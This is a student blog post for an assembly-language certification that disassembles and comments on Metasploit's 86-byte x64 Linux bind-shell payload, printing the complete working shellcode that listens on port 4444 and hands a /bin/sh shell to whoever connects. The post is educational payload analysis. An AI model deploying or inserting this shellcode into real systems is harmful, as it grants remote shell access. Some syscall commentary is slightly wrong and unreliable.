The second payload that I decided to analyze for the 5th assignment of the SecuritTube Linux Assembly Expert certification was linux/x64/shell/bind_tcp.
This payload has 86 bytes which has impressed me, by comparison to what I’ve achieved with my own bind shell implementation, even considering that my implementation was password protected.
1 2 3 4 5 6 7 8 9 10 |
0x400078 push 0x29 0x40007a pop rax 0x40007b cdq 0x40007c push 0x2 0x40007e pop rdi 0x40007f push 0x1 0x400081 pop rsi 0x400082 syscall 0x400084 xchg rdi,rax |
The section starts as expected with a call to the socket() system call and stores the resulting sockfd in rdi. Smart use of the CDQ op to save 1 byte in nulling rdx. Also the use of xchg allows saving one extra byte as well without changing functionality.
1 2 3 4 5 6 7 8 9 |
0x400086 push rdx 0x400087 mov DWORD PTR [rsp],0x5c110002 0x40008e mov rsi,rsp 0x400091 push 0x10 0x400093 pop rdx 0x400094 push 0x31 0x400096 pop rax 0x400097 syscall |
In the initial section above one prepares the sockaddr structure to be used in subsequent syscalls (by storing it on stack and loading it’s address on rsi). The authors obviously decided to save some bytes by filling the structure in a single mov instruction but this comes with the appearance of a null byte in the resulting shellcode. Also i believe the mov instruction could easily be replaced by a push–pop combo that would achieve the same end result while saving one extra byte.
The call to bind() system call follows without much to add, rdi already contains the sockfd and rsi already contains &sockaddr.
1 2 3 |
0x400099 push 0x32 0x40009b pop rax 0x40009c syscall |
With the socket bound to the desired port (4444 in this example) it’s time to call listen() syscall which will block until a connection comes in. Nothing special to note here.
1 2 3 4 5 6 |
0x40009e xor rsi,rsi 0x4000a1 push 0x2b 0x4000a3 pop rax 0x4000a4 syscall 0x4000a6 xchg rdi,rax |
Nothing special to note about the code above, when a connection is made to the desired port a call to the system call accept() (0x32 or 43 as per unistd_64.h) is issued.
The last instruction above stores the new socket file descriptor returned in rax into rdi to use in the next syscall.
1 2 3 4 5 6 7 8 |
0x4000a8 push 0x3 0x4000aa pop rsi 0x4000ab dec rsi 0x4000ae push 0x21 0x4000b0 pop rax 0x4000b1 syscall 0x4000b3 jne 0x4000ab |
The section above simply redirects STDERR, STDOUT and STDIN to the new socket by calling dup2() system call in a loop (0x2, 0x1 and 0x0).
1 2 3 4 5 6 7 8 9 10 |
0x4000b5 push 0x3b 0x4000b7 pop rax 0x4000b8 cdq 0x4000b9 movabs rbx,0x68732f6e69622f 0x4000c3 push rbx 0x4000c4 mov rdi,rsp 0x4000c7 push rdx 0x4000c8 push rdi 0x4000c9 mov rsi,rsp 0x4000cc syscall |
The final section sets up the call to execve() syscall wich will run the ‘/bin/sh’ shell.
Again the use of CDQ to null rdx is very smart but I believe the code could be even further optimized by replacing the mov instruction at 0x4000c9 with a push–pop combo that would save us an extra byte.
Overall, I believe the code could be further optimized a little bit, but still, I’ve learned some nice optimizations that I might come to apply to my own shellcodes.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification.
Student ID: SLAE64-1440